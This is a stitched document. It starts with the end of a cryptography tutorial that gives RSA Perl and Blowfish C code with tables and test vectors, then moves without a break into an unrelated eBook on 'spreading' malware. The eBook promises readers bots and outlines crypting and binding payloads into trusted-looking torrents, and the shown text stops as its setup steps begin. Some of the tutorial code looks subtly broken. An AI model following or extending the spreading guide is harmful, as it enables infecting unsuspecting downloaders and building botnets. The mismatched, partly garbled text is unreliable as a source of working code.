little less than N. Each block is considered as a single digit, and
multiplied e number of times by itself, [In the case of PGP, e is
normally 17]. The result thus obtained, is divided by N and the
remainder obtained is the final encrypted message.
In case of the decryption process, the recipient, makes use of another
special number; k where (ke-1) is divisible by (p-1)(q-1). The value k is
chosen such that multiplying the encrypted message k times by itself and
then dividing by N, gives the original message as the remainder. So
basically to find out k, p and q should be known.
e and N constitute the public key which can be freely distributed, while
k forms the private key, which should be kept a secret.
Note: In this case, e and k and symmetric.
To understand the working of the RSA algorithm, study the following
Perl program which implements it.
#!/usr/local/bin/perl -s-- #export-a-crypto-system sig, RSA in 4 lines

PERL:
#
# -d (decrypt)
# or -e (encrypt)
#
# $k is exponent, $n is modulus; $k and $n in hex
#
# use of -s was contributed by Jeff Friedl, a cool perl hacker
#
# the $e-$d (grok that? awesome hack by Jeff also) checks for -d or
-e:
#
# when perl -s sets $x for -x so that means $d is set for -d, $e for
-e
# if they are both set 1-1 = 0 so it fails if neither are set it fails
# and if either one is set we're ok! This is to get around using | ,
# as | has higher precedence than & things group wrongly.
#
$e-$d&(($k,$n)=@ARGV)==2||die"$0 -d|-e key mod <in >out\n";
#
# $v will be the digits of output per block, $w the digits of input per
block.
# If encrypting need to reduce $w so input is guaranteed to be less
than
# modulus; for decrypting reduce $v to match.
#
# blocks are based on modulus size in hex digits rounded up to nearest
even
# length (~1&1+length$n) so that things will unpack properly
#
$v=$w=1+length$n&~1;
$v-=$d*2:$w-=$e*2;
#
# Make $_ be the exponent $k as a binary bit string
#
# Add a leading 0 to make length of $k be even so that it will fill
# Bytes when packed as 2 digits per byte
#

$_=unpack('B*',pack('H*',1&length$k?"0$k":$k));
#
# strip leading 0's from $_
#
s/^0+//;
#
# Turn every 0 into "d*ln%", every 1 into "d*ln%lm*ln%". These are dc
codes
# which construct an exponentiation algorithm for that exponent.
# "d*ln%" is duplicate, square, load n, modulus; e.g. square the number
# on the stack, mod n. "d*ln%lm*ln%" does this then, load m, multiply,
# load n, modulus; e.g. then multiply by m mod n. This is the square
and
# multiply algorithm for modular exponentiation.
#
# (Kudos to Hal for shortened this one by 4 chars)
#
s/1/0lM*ln%/g;
s/0/d*ln%/g;
#
# Encryption/decryption loop. Read $w/2 bytes of data to $m.
#
while(read(STDIN,$m,$w/2)){
#
# Turn data into equivalent hex digits in $m
#
$m=unpack("H$w",$m);
#
# Run dc: 16 bit radix for input and output; $m into dc register "M";
# $n into dc register "n"; execute $_, the exponentiation program
above.
# "\U...\E" forces upper case on the hex digits as dc requires.
# Put the result in $e.
#
$a=`echo 16oOi\U$m SM$n\Esn1$_ p|dc`;
#
# Pad the result with leading 0's to $v digits, pack to raw data and
output.

#
print pack("H$v",'0'x($v+1-length$a).$a);
}
Blowfish
Blowfish is yet another popular encryption algorithm which is based on:
The following C program demonstrates the implementation of the
Blowfish encryption algorithm:
/*********************blowfish.h********************/
/* $Id: blowfish.h,v 1.3 1995/01/23 12:38:02 pr Exp pr $*/
#define MAXKEYBYTES 56 /* 448 bits */
#define bf_N 16
#define noErr 0
#define DATAERROR -1
#define KEYBYTES 8
#define subkeyfilename "Blowfish.dat"
#define UWORD_32bits unsigned long
#define UWORD_16bits unsigned short
#define UBYTE_08bits unsigned char
/* choose a byte order for your hardware */
/* ABCD - big endian - motorola */
#ifdef ORDER_ABCD
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {
unsigned int byte0:8;
unsigned int byte1:8;
unsigned int byte2:8;
unsigned int byte3:8;
} w;
};
#endif /* ORDER_ABCD */
/* DCBA - little endian - intel */
#ifdef ORDER_DCBA
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {

unsigned int byte3:8;


unsigned int byte2:8;
unsigned int byte1:8;
unsigned int byte0:8;
} w;
};
#endif /* ORDER_DCBA */
/* BADC - vax */
#ifdef ORDER_BADC
union aword {
UWORD_32bits word;
UBYTE_08bits byte [4];
struct {
unsigned int byte1:8;
unsigned int byte0:8;
unsigned int byte3:8;
unsigned int byte2:8;
} w;
};
#endif /* ORDER_BADC */
short opensubkeyfile(void);
unsigned long F(unsigned long x);
void Blowfish_encipher(unsigned long *xl, unsigned long *xr);
void Blowfish_decipher(unsigned long *xl, unsigned long *xr);
short InitializeBlowfish(unsigned char key[], short keybytes);
/*********************blowfish.c*********************/
/* TODO: test with zero length key */
/* TODO: test with a through z as key and plain text */
/* TODO: make this byte order independent */
#include <stdio.h> /* used for debugging */
#ifdef MACINTOSH
#include <Types.h> /* FIXME: do we need this? */
#endif
#include "blowfish.h"
#include "bf_tab.h" /* P-box P-array, S-box */
#define S(x,i) (bf_S[i][x.w.byte##i])
#define bf_F(x) (((S(x,0) + S(x,1)) ^ S(x,2)) + S(x,3))
#define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n])

inline
void Blowfish_encipher(UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl.word = *xl;
Xr.word = *xr;
Xl.word ^= bf_P[0];
ROUND (Xr, Xl, 1); ROUND (Xl, Xr, 2);
ROUND (Xr, Xl, 3); ROUND (Xl, Xr, 4);
ROUND (Xr, Xl, 5); ROUND (Xl, Xr, 6);
ROUND (Xr, Xl, 7); ROUND (Xl, Xr, 8);
ROUND (Xr, Xl, 9); ROUND (Xl, Xr, 10);
ROUND (Xr, Xl, 11); ROUND (Xl, Xr, 12);
ROUND (Xr, Xl, 13); ROUND (Xl, Xr, 14);
ROUND (Xr, Xl, 15); ROUND (Xl, Xr, 16);
Xr.word ^= bf_P[17];
*xr = Xl.word;
*xl = Xr.word;
}
void Blowfish_decipher(UWORD_32bits *xl, UWORD_32bits *xr)
{
union aword Xl;
union aword Xr;
Xl = *xl;
Xr = *xr;
Xl.word ^= bf_P[17];
ROUND (Xr, Xl, 16); ROUND (Xl, Xr, 15);
ROUND (Xr, Xl, 14); ROUND (Xl, Xr, 13);
ROUND (Xr, Xl, 12); ROUND (Xl, Xr, 11);
ROUND (Xr, Xl, 10); ROUND (Xl, Xr, 9);
ROUND (Xr, Xl, 8); ROUND (Xl, Xr, 7);
ROUND (Xr, Xl, 6); ROUND (Xl, Xr, 5);
ROUND (Xr, Xl, 4); ROUND (Xl, Xr, 3);
ROUND (Xr, Xl, 2); ROUND (Xl, Xr, 1);
Xr.word ^= bf_P[0];
*xl = Xr.word;
*xr = Xl.word;

}
/* FIXME: Blowfish_Initialize() ??? */
short InitializeBlowfish(UBYTE_08bits key[], short keybytes)
{
short i; /* FIXME: unsigned int, char? */
short j; /* FIXME: unsigned int, char? */
UWORD_32bits data;
UWORD_32bits datal;
UWORD_32bits datar;
union aword temp;
/* fprintf (stderr, "0x%x 0x%x ", bf_P[0], bf_P[1]); /* DEBUG */
/* fprintf (stderr, "%d %d\n", bf_P[0], bf_P[1]); /* DEBUG */
j = 0;
for (i = 0; i < bf_N + 2; ++i) {
temp.word = 0;
temp.w.byte0 = key[j];
temp.w.byte1 = key[(j+1)%keybytes];
temp.w.byte2 = key[(j+2)%keybytes];
temp.w.byte3 = key[(j+3)%keybytes];
data = temp.word;
bf_P[i] = bf_P[i] ^ data;
j = (j + 4) % keybytes;
}
datal = 0x00000000;
datar = 0x00000000;
for (i = 0; i < bf_N + 2; i += 2) {
Blowfish_encipher(&datal, &datar);
bf_P[i] = datal;
bf_P[i + 1] = datar;
}
for (i = 0; i < 4; ++i) {
for (j = 0; j < 256; j += 2) {
Blowfish_encipher(&datal, &datar);
bf_S[i][j] = datal;
bf_S[i][j + 1] = datar;
}
}
return 0;

}
=============== bf_tab.h ==============
/* bf_tab.h: Blowfish P-box and S-box tables */
static UWORD_32bits bf_P[bf_N + 2] = {
0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344,
0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89,
0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c,
0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917,
0x9216d5d9, 0x8979fb1b,
};
static UWORD_32bits bf_S[4][256] = {
0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7,
0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99,
0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16,
0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e,
0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee,
0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013,
0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef,
0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e,
0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60,
0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440,
0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce,
0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a,
0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e,
0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677,
0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193,
0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032,
0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88,
0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239,
0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e,
0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0,
0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3,
0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98,
0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88,
0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe,
0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6,
0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d,
0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b,

0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7,


0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba,
0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463,
0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f,
0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09,
0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3,
0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb,
0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279,
0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8,
0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab,
0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82,
0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db,
0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573,
0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0,
0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b,
0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790,
0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8,
0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4,
0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0,
0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7,
0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c,
0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad,
0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1,
0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299,
0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9,
0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477,
0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf,
0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49,
0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af,
0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa,
0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5,
0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41,
0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915,
0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400,
0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915,
0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664,
0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a,
0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623,

0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266,


0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1,
0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e,
0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6,
0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1,
0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e,
0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1,
0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737,
0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8,
0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff,
0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd,
0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701,
0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7,
0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41,
0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331,
0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf,
0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af,
0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e,
0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87,
0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c,
0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2,
0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16,
0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd,
0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b,
0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509,
0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e,
0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3,
0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f,
0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a,
0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4,
0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960,
0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66,
0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28,
0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802,
0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84,
0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510,
0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf,
0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14,

0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e,


0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50,
0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7,
0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8,
0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281,
0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99,
0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696,
0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128,
0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73,
0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0,
0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0,
0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105,
0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250,
0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3,
0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285,
0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00,
0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061,
0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb,
0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e,
0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735,
0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc,
0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9,
0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340,
0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20,
0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7,
0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934,
0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068,
0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af,
0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840,
0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45,
0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504,
0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a,
0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb,
0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee,
0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6,
0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42,
0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b,
0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2,

0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb,


0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527,
0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b,
0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33,
0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c,
0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3,
0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc,
0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17,
0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564,
0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b,
0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115,
0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922,
0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728,
0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0,
0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e,
0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37,
0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d,
0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804,
0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b,
0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3,
0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb,
0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d,
0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c,
0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350,
0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9,
0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a,
0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe,
0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d,
0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc,
0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f,
0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61,
0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2,
0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9,
0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2,
0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c,
0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e,
0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633,
0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10,

0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169,


0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52,
0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027,
0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5,
0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62,
0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634,
0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76,
0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24,
0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc,
0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4,
0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c,
0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837,
0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0,
0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b,
0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe,
0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b,
0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4,
0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8,
0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6,
0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304,
0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22,
0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4,
0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6,
0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9,
0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59,
0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593,
0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51,
0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28,
0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c,
0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b,
0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28,
0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c,
0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd,
0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a,
0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319,
0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb,
0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f,
0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991,

0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32,


0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680,
0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166,
0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae,
0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb,
0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5,
0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47,
0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370,
0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d,
0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84,
0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048,
0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8,
0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd,
0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9,
0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7,
0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38,
0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f,
0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c,
0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525,
0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1,
0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442,
0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964,
0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e,
0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8,
0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d,
0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f,
0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299,
0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02,
0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc,
0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614,
0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a,
0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6,
0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b,
0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0,
0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060,
0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e,
0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9,
0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f,

0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6,


};
************** TEST VECTORS ***********************************
This is a test vector.
Plaintext is "BLOWFISH".
The key is "abcdefghijklmnopqrstuvwxyz".
#define PL 0x424c4f57l
#define PR 0x46495348l
#define CL 0x324ed0fel
#define CR 0xf413a203l
static char keey[]="abcdefghijklmnopqrstuvwxyz";
This is another test vector.
The key is "Who is John Galt?"
#define PL 0xfedcba98l
#define PR 0x76543210l
#define CL 0xcc91732bl
#define CR 0x8022f684l
-------------------------------------------------------Well, that is all for this edition, more in the next update. Till then bye,
Ankit Fadia
ankit@bol.net.in <mailto:ankit@bol.net.in>

Contents
Disclaimer1
Introduction..2
Getting Started...3
T ips & Secrets................4
Choosing your target audience...5
Downloading, crypting, binding, and making the torrent6
Uploading your torrent...............8
Conclusion....9

Disclaimer
This eBook is provided as-is with no representations or warranties, either express or
implied, including, but not limited to, implied warranties of merchantability, fitness for a
particular purpose and noninfringement. You assume complete responsibility and risk
for use of any of the information made available in this book and any and all related or
advertised services.
Some jurisdictions do not allow the exclusion of implied warranties; so the above
exclusion may not apply to you.
The author of this book, its agents, representatives and employees are neither responsible
nor liable for any direct, indirect, incidental, consequential, special, exemplary, punitive,
or other damages arising out of or relating in any way to this book and/or its content or
information contained within it.
By using the information made available in this book you agree to take full responsibility
of your actions. You also agree to use the fore mentioned information according to the
laws and regulations of your jurisdiction.
This book, including any part of its content, must not be produced, reproduced, copied or
passed on without the prior written consent of the author. The book ships with
absolutely no Private Label Rights or Master Reless Rights and is licensed for personal use
by the person whose name appears on the receipt.

Introduction
Greetings!
F irst of all, let me say that Im really glad you decided to buy this detailed book about
spreading the ultimate way.
This is the first eBook, about spreading, which is so in -depth and detailed, and Im sure
you will be able to get at least 150 bots in your first day (Yes, only 150, because you
have to keep spreading to get the hang of it). This method is the one I use personally,
and get about 600 1000 downloads per 3 days!
I will show you step by step how to make a popular torrent, and where to upload it
first, then when it becomes a bit more popular (when you have some seeds) what to do
with it, and how to make it trusted on popular torrent sites like ThePirateBay. And the
beauty of this eBook is that I am doing everything in these steps as I write this ver y
sentence you are reading, so I will provide screenshots and other stuff to make this as
easy as possible. I started writing this eBook from the moment I began to set-up a
torrent for DDoSeR 3.6
All the secrets of spreading, is revealed in this book!
After reading this eBook I guarantee you that you will have your own update / install
service or spreading service, and if you dont have that, you are already too busy
watching your downloads increase hour by hour.

So lets cut the talking and start to spread!

Getting started
Ok, as you may have guessed, we need a torrent client. A popular and easy to use one is
Torrent. You can download it from: http://www.utorrent.com. Or you can use
